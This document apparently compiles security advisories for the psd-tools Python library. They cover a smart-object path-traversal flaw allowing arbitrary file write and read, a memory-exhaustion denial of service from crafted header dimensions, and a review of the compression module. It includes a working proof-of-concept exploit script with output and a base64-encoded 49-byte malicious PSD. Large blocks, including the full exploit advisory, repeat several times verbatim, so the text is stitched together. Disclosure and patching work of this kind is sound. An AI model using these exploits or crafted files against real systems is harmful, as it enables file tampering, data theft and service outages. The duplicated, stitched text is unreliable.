Read path — SmartObject.open() / .data for external kind (secondary)

For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.

Proof of concept

Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.

pip install psd-tools==1.17.0
python poc.py

poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:

import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag

MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}

def craft(name, out):
    psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
    uuid = next(l.smart_object.unique_id for l in psd.descendants()
                if l.kind == "smartobject" and l.smart_object.kind == "data")
    for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
        for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
            if item.uuid.strip("\x00") == uuid:
                item.filename, item.data = name, MARKER
    psd.save(out)

def extract(psd_path, outdir, watch):
    psd = PSDImage.open(psd_path)
    before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    cwd = os.getcwd(); os.chdir(outdir)
    try:
        for l in psd.descendants():
            if l.kind == "smartobject" and l.smart_object.kind == "data":
                l.smart_object.save()
    finally:
        os.chdir(cwd)
    after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    return sorted(after - before)

def main():
    tmp = tempfile.mkdtemp(prefix="poc_")
    try:
        escaped = {}
        for tag, name in NAMES.items():
            psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
            so = next(l.smart_object for l in PSDImage.open(psd).descendants()
                      if l.kind == "smartobject" and l.smart_object.kind == "data")
            print(f"[{tag}] parsed embedded name = {so.filename!r}")
            outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
            written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
            esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
            for w in written:
                print(f"[{tag}] wrote {w}  {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
        ok = (not escaped["control"] and escaped["exploit"]
              and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
        print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
        return 0 if ok else 1
    finally:
        shutil.rmtree(tmp, ignore_errors=True)

raise SystemExit(main())

Output (psd-tools 1.17.0):

[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin  inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin  OUTSIDE output dir

VERDICT: ARBITRARY FILE WRITE CONFIRMED

An absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.

Impact

Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.

For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.

Severity

Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.

Patch

Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:

• save(): strips directory components from the embedded name via os.path.basename(), writes only into a caller-supplied directory (defaults to CWD), and verifies the resolved path stays inside that directory via os.path.realpath() + os.path.commonpath(). A new external_dir parameter is propagated to open() for external-kind objects to constrain the read source.
• open(): when external_dir is provided, a fullPath resolving outside it is silently ignored (falls through to relPath); a relPath escaping the directory raises ValueError.

Weaknesses

CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).

Resources

• Fix PR: https://github.com/psd-tools/psd-tools/pull/657
• Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
• Affected source (tag v1.17.0): src/psd_tools/api/smart_object.py:170-179 (sink), :62-67 (untrusted filename); src/psd_tools/psd/linked_layer.py:100 (source).
• Distinct in class from the published advisories (GHSA-24p2-j2jr-386w — compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The save() write logic is unchanged since the SmartObject API was introduced, so all releases exposing it are affected.

Summary

PSDImage.composite() (and .numpy()) allocate the output image buffer from the PSD's header geometry (width × height × channels × depth, and per-layer rectangles) before validating those values against the actual file contents. A tiny crafted PSD declaring huge dimensions causes a multi-gigabyte allocation. Critically, composite() then returns a (black) image with only a warning, no exception is raised, so a caller cannot detect or guard against it.

Impact

On psd-tools 1.17.2 (latest), default usage, a 49-byte PSD makes composite() commit ~3 GB and return successfully (warning only); .numpy() reaches ~7.5 GB, and the per-layer rectangle is a second lever (up to ~32 GB), all from an input under 100 bytes (input-to-commit amplification over 1000×). Because the buffer is committed before validation and no exception is thrown, any service that composites untrusted PSDs is exposed to denial of service: on a host with less RAM than the attacker-declared geometry the allocation is an unrecoverable OOM-kill.

Steps to reproduce

# pip install psd-tools==1.17.2
from psd_tools import PSDImage
psd = PSDImage.open("psd-psdtools-grammar-d23.psd")
psd.composite()   # commits ~3 GB from a 49-byte file and returns (warning only)

PoC (49 bytes), reconstruct with:

base64 -d > psd-psdtools-grammar-d23.psd <<'EOF'
OEJQUwABAAAAAAAAAAYAACg4AAAXTAAIAAMAAAAAAAAAAAAAAAAAAUNIUIFU+yQtDw==
EOF

Verify:

7d8ebf03a54393cb0359ecf4b676d1b08c9a8c6afdd06671ef406d6893cce826  psd-psdtools-grammar-d23.psd

Root cause

The composite/numpy buffer is sized from the declared image (and per-layer) dimensions and channel/depth without checking them against the available data length or a sane maximum.

Suggested fix

Validate the declared dimensions, channel count, and per-layer rectangles against the actual file length (and a configurable maximum pixel/byte budget) before allocating; raise an error on overflow instead of committing the buffer and returning a black image.

psd-tools: arbitrary file write/read via smart-object path traversal

Summary

In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.

A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.

Details

Write path — SmartObject.save() (primary)

src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):

def save(self, filename: str | None = None) -> None:
    if filename is None:
        filename = self.filename          # untrusted, straight from the file
    with open(filename, "wb") as f:
        f.write(self.data)                # attacker-controlled bytes

self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.

Read path — SmartObject.open() / .data for external kind (secondary)

For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.

Proof of concept

Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.

pip install psd-tools==1.17.0
python poc.py

poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:

import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag

MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}

def craft(name, out):
    psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
    uuid = next(l.smart_object.unique_id for l in psd.descendants()
                if l.kind == "smartobject" and l.smart_object.kind == "data")
    for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
        for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
            if item.uuid.strip("\x00") == uuid:
                item.filename, item.data = name, MARKER
    psd.save(out)

def extract(psd_path, outdir, watch):
    psd = PSDImage.open(psd_path)
    before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    cwd = os.getcwd(); os.chdir(outdir)
    try:
        for l in psd.descendants():
            if l.kind == "smartobject" and l.smart_object.kind == "data":
                l.smart_object.save()
    finally:
        os.chdir(cwd)
    after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    return sorted(after - before)

def main():
    tmp = tempfile.mkdtemp(prefix="poc_")
    try:
        escaped = {}
        for tag, name in NAMES.items():
            psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
            so = next(l.smart_object for l in PSDImage.open(psd).descendants()
                      if l.kind == "smartobject" and l.smart_object.kind == "data")
            print(f"[{tag}] parsed embedded name = {so.filename!r}")
            outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
            written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
            esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
            for w in written:
                print(f"[{tag}] wrote {w}  {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
        ok = (not escaped["control"] and escaped["exploit"]
              and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
        print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
        return 0 if ok else 1
    finally:
        shutil.rmtree(tmp, ignore_errors=True)

raise SystemExit(main())

Output (psd-tools 1.17.0):

[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin  inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin  OUTSIDE output dir

VERDICT: ARBITRARY FILE WRITE CONFIRMED

An absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.

Impact

Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.

For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.

Severity

Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.

Patch

Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:

• save(): strips directory components from the embedded name via os.path.basename(), writes only into a caller-supplied directory (defaults to CWD), and verifies the resolved path stays inside that directory via os.path.realpath() + os.path.commonpath(). A new external_dir parameter is propagated to open() for external-kind objects to constrain the read source.
• open(): when external_dir is provided, a fullPath resolving outside it is silently ignored (falls through to relPath); a relPath escaping the directory raises ValueError.

Weaknesses

CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).

Resources

• Fix PR: https://github.com/psd-tools/psd-tools/pull/657
• Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
• Affected source (tag v1.17.0): src/psd_tools/api/smart_object.py:170-179 (sink), :62-67 (untrusted filename); src/psd_tools/psd/linked_layer.py:100 (source).
• Distinct in class from the published advisories (GHSA-24p2-j2jr-386w — compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The save() write logic is unchanged since the SmartObject API was introduced, so all releases exposing it are affected.

Summary

PSDImage.composite() (and .numpy()) allocate the output image buffer from the PSD's header geometry (width × height × channels × depth, and per-layer rectangles) before validating those values against the actual file contents. A tiny crafted PSD declaring huge dimensions causes a multi-gigabyte allocation. Critically, composite() then returns a (black) image with only a warning, no exception is raised, so a caller cannot detect or guard against it.

Impact

On psd-tools 1.17.2 (latest), default usage, a 49-byte PSD makes composite() commit ~3 GB and return successfully (warning only); .numpy() reaches ~7.5 GB, and the per-layer rectangle is a second lever (up to ~32 GB), all from an input under 100 bytes (input-to-commit amplification over 1000×). Because the buffer is committed before validation and no exception is thrown, any service that composites untrusted PSDs is exposed to denial of service: on a host with less RAM than the attacker-declared geometry the allocation is an unrecoverable OOM-kill.

Steps to reproduce

# pip install psd-tools==1.17.2
from psd_tools import PSDImage
psd = PSDImage.open("psd-psdtools-grammar-d23.psd")
psd.composite()   # commits ~3 GB from a 49-byte file and returns (warning only)

PoC (49 bytes), reconstruct with:

base64 -d > psd-psdtools-grammar-d23.psd <<'EOF'
OEJQUwABAAAAAAAAAAYAACg4AAAXTAAIAAMAAAAAAAAAAAAAAAAAAUNIUIFU+yQtDw==
EOF

Verify:

7d8ebf03a54393cb0359ecf4b676d1b08c9a8c6afdd06671ef406d6893cce826  psd-psdtools-grammar-d23.psd

Root cause

The composite/numpy buffer is sized from the declared image (and per-layer) dimensions and channel/depth without checking them against the available data length or a sane maximum.

Suggested fix

Validate the declared dimensions, channel count, and per-layer rectangles against the actual file length (and a configurable maximum pixel/byte budget) before allocating; raise an error on overflow instead of committing the buffer and returning a black image.

psd-tools: arbitrary file write/read via smart-object path traversal

Summary

In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.

A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.

Details

Write path — SmartObject.save() (primary)

src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):

def save(self, filename: str | None = None) -> None:
    if filename is None:
        filename = self.filename          # untrusted, straight from the file
    with open(filename, "wb") as f:
        f.write(self.data)                # attacker-controlled bytes

self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.

Read path — SmartObject.open() / .data for external kind (secondary)

For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.

Proof of concept

Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.

pip install psd-tools==1.17.0
python poc.py

poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:

import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag

MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}

def craft(name, out):
    psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
    uuid = next(l.smart_object.unique_id for l in psd.descendants()
                if l.kind == "smartobject" and l.smart_object.kind == "data")
    for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
        for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
            if item.uuid.strip("\x00") == uuid:
                item.filename, item.data = name, MARKER
    psd.save(out)

def extract(psd_path, outdir, watch):
    psd = PSDImage.open(psd_path)
    before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    cwd = os.getcwd(); os.chdir(outdir)
    try:
        for l in psd.descendants():
            if l.kind == "smartobject" and l.smart_object.kind == "data":
                l.smart_object.save()
    finally:
        os.chdir(cwd)
    after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    return sorted(after - before)

def main():
    tmp = tempfile.mkdtemp(prefix="poc_")
    try:
        escaped = {}
        for tag, name in NAMES.items():
            psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
            so = next(l.smart_object for l in PSDImage.open(psd).descendants()
                      if l.kind == "smartobject" and l.smart_object.kind == "data")
            print(f"[{tag}] parsed embedded name = {so.filename!r}")
            outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
            written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
            esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
            for w in written:
                print(f"[{tag}] wrote {w}  {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
        ok = (not escaped["control"] and escaped["exploit"]
              and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
        print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
        return 0 if ok else 1
    finally:
        shutil.rmtree(tmp, ignore_errors=True)

raise SystemExit(main())

Output (psd-tools 1.17.0):

[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin  inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin  OUTSIDE output dir

VERDICT: ARBITRARY FILE WRITE CONFIRMED

An absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.

Impact

Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.

For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.

Severity

Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.

Patch

Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:

• save(): strips directory components from the embedded name via os.path.basename(), writes only into a caller-supplied directory (defaults to CWD), and verifies the resolved path stays inside that directory via os.path.realpath() + os.path.commonpath(). A new external_dir parameter is propagated to open() for external-kind objects to constrain the read source.
• open(): when external_dir is provided, a fullPath resolving outside it is silently ignored (falls through to relPath); a relPath escaping the directory raises ValueError.

Weaknesses

CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).

Resources

• Fix PR: https://github.com/psd-tools/psd-tools/pull/657
• Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
• Affected source (tag v1.17.0): src/psd_tools/api/smart_object.py:170-179 (sink), :62-67 (untrusted filename); src/psd_tools/psd/linked_layer.py:100 (source).
• Distinct in class from the published advisories (GHSA-24p2-j2jr-386w — compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The save() write logic is unchanged since the SmartObject API was introduced, so all releases exposing it are affected.

Summary

PSDImage.composite() (and .numpy()) allocate the output image buffer from the PSD's header geometry (width × height × channels × depth, and per-layer rectangles) before validating those values against the actual file contents. A tiny crafted PSD declaring huge dimensions causes a multi-gigabyte allocation. Critically, composite() then returns a (black) image with only a warning, no exception is raised, so a caller cannot detect or guard against it.

Impact

On psd-tools 1.17.2 (latest), default usage, a 49-byte PSD makes composite() commit ~3 GB and return successfully (warning only); .numpy() reaches ~7.5 GB, and the per-layer rectangle is a second lever (up to ~32 GB), all from an input under 100 bytes (input-to-commit amplification over 1000×). Because the buffer is committed before validation and no exception is thrown, any service that composites untrusted PSDs is exposed to denial of service: on a host with less RAM than the attacker-declared geometry the allocation is an unrecoverable OOM-kill.

Steps to reproduce

# pip install psd-tools==1.17.2
from psd_tools import PSDImage
psd = PSDImage.open("psd-psdtools-grammar-d23.psd")
psd.composite()   # commits ~3 GB from a 49-byte file and returns (warning only)

PoC (49 bytes), reconstruct with:

base64 -d > psd-psdtools-grammar-d23.psd <<'EOF'
OEJQUwABAAAAAAAAAAYAACg4AAAXTAAIAAMAAAAAAAAAAAAAAAAAAUNIUIFU+yQtDw==
EOF

Verify:

7d8ebf03a54393cb0359ecf4b676d1b08c9a8c6afdd06671ef406d6893cce826  psd-psdtools-grammar-d23.psd

Root cause

The composite/numpy buffer is sized from the declared image (and per-layer) dimensions and channel/depth without checking them against the available data length or a sane maximum.

Suggested fix

Validate the declared dimensions, channel count, and per-layer rectangles against the actual file length (and a configurable maximum pixel/byte budget) before allocating; raise an error on overflow instead of committing the buffer and returning a black image.

psd-tools: arbitrary file write/read via smart-object path traversal

Summary

In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.

A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.

Details

Write path — SmartObject.save() (primary)

src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):

def save(self, filename: str | None = None) -> None:
    if filename is None:
        filename = self.filename          # untrusted, straight from the file
    with open(filename, "wb") as f:
        f.write(self.data)                # attacker-controlled bytes

self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.

Read path — SmartObject.open() / .data for external kind (secondary)

For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.

Proof of concept

Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.

pip install psd-tools==1.17.0
python poc.py

poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:

import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag

MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}

def craft(name, out):
    psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
    uuid = next(l.smart_object.unique_id for l in psd.descendants()
                if l.kind == "smartobject" and l.smart_object.kind == "data")
    for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
        for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
            if item.uuid.strip("\x00") == uuid:
                item.filename, item.data = name, MARKER
    psd.save(out)

def extract(psd_path, outdir, watch):
    psd = PSDImage.open(psd_path)
    before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    cwd = os.getcwd(); os.chdir(outdir)
    try:
        for l in psd.descendants():
            if l.kind == "smartobject" and l.smart_object.kind == "data":
                l.smart_object.save()
    finally:
        os.chdir(cwd)
    after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    return sorted(after - before)

def main():
    tmp = tempfile.mkdtemp(prefix="poc_")
    try:
        escaped = {}
        for tag, name in NAMES.items():
            psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
            so = next(l.smart_object for l in PSDImage.open(psd).descendants()
                      if l.kind == "smartobject" and l.smart_object.kind == "data")
            print(f"[{tag}] parsed embedded name = {so.filename!r}")
            outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
            written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
            esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
            for w in written:
                print(f"[{tag}] wrote {w}  {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
        ok = (not escaped["control"] and escaped["exploit"]
              and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
        print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
        return 0 if ok else 1
    finally:
        shutil.rmtree(tmp, ignore_errors=True)

raise SystemExit(main())

Output (psd-tools 1.17.0):

[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin  inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin  OUTSIDE output dir

VERDICT: ARBITRARY FILE WRITE CONFIRMED

An absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.

Impact

Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.

For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.

Severity

Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.

Patch

Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:

• save(): strips directory components from the embedded name via os.path.basename(), writes only into a caller-supplied directory (defaults to CWD), and verifies the resolved path stays inside that directory via os.path.realpath() + os.path.commonpath(). A new external_dir parameter is propagated to open() for external-kind objects to constrain the read source.
• open(): when external_dir is provided, a fullPath resolving outside it is silently ignored (falls through to relPath); a relPath escaping the directory raises ValueError.

Weaknesses

CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).

Resources

• Fix PR: https://github.com/psd-tools/psd-tools/pull/657
• Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
• Affected source (tag v1.17.0): src/psd_tools/api/smart_object.py:170-179 (sink), :62-67 (untrusted filename); src/psd_tools/psd/linked_layer.py:100 (source).
• Distinct in class from the published advisories (GHSA-24p2-j2jr-386w — compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The save() write logic is unchanged since the SmartObject API was introduced, so all releases exposing it are affected.

Summary

A security review of the psd_tools.compression module (conducted against the fix/invalid-rle-compression branch, commits 7490ffa–2a006f5) identified the following pre-existing issues. The two findings introduced and fixed by those commits (Cython buffer overflow, IndexError on lone repeat header) are excluded from this report.

Findings

1. Unguarded zlib.decompress — ZIP bomb / memory exhaustion (Medium)

Location: src/psd_tools/compression/__init__.py, lines 159 and 162

result = zlib.decompress(data)          # Compression.ZIP
decompressed = zlib.decompress(data)    # Compression.ZIP_WITH_PREDICTION

zlib.decompress is called without a max_length cap. A crafted PSD file containing a ZIP-compressed channel whose compressed payload expands to gigabytes would exhaust process memory before any limit is enforced. The RLE path is not vulnerable to this because the decoder pre-allocates exactly row_size × height bytes; the ZIP path has no equivalent ceiling.

Impact: Denial-of-service / OOM crash when processing untrusted PSD files.

Suggested mitigation: Pass a reasonable max_length to zlib.decompress, derived from the expected width * height * depth // 8 byte count already computed in decompress().

2. No upper-bound validation on image dimensions before allocation (Low)

Location: src/psd_tools/compression/__init__.py, lines 138 and 193

length = width * height * max(1, depth // 8)   # decompress()
row_size = max(width * depth // 8, 1)           # decode_rle()

Neither width, height, nor depth are range-checked before these values drive memory allocation. The PSD format (version 2 / PSB) permits dimensions up to 300,000 × 300,000 pixels; a 4-channel 32-bit image at that size would require ~144 TB to hold. While the OS/Python allocator will reject such a request, there is no early, explicit guard that produces a clean, user-facing error.

Impact: Uncontrolled allocation attempt from a malformed or adversarially crafted PSB file; hard crash rather than a recoverable error.

Suggested mitigation: Validate width, height, and depth against known PSD/PSB limits before entering decompression, and raise a descriptive ValueError early.

3. assert used as a runtime integrity check (Low)

Location: src/psd_tools/compression/__init__.py, line 170

assert len(result) == length, "len=%d, expected=%d" % (len(result), length)

This assertion can be silently disabled by running the interpreter with -O (or -OO), which strips all assert statements. If the assertion ever becomes relevant (e.g., after future refactoring), disabling it would allow a length mismatch to propagate silently into downstream image compositing.

Impact: Loss of an integrity guard in optimised deployments.

Suggested mitigation: Replace with an explicit if + raise ValueError(...).

4. cdef int indices vs. Py_ssize_t size type mismatch in Cython decoder (Low)

Location: src/psd_tools/compression/_rle.pyx, lines 18–20

cdef int i = 0
cdef int j = 0
cdef int length = data.shape[0]

All loop indices are C signed int (32-bit). The size parameter is Py_ssize_t (64-bit on modern platforms). The comparison j < size promotes j to Py_ssize_t, but if j wraps due to a row size exceeding INT_MAX (~2.1 GB), the resulting comparison is undefined behaviour in C. In practice, row sizes are bounded by PSD/PSB dimension limits and are unreachable at this scale; however, the mismatch is a latent defect if the function is ever called directly with large synthetic inputs.

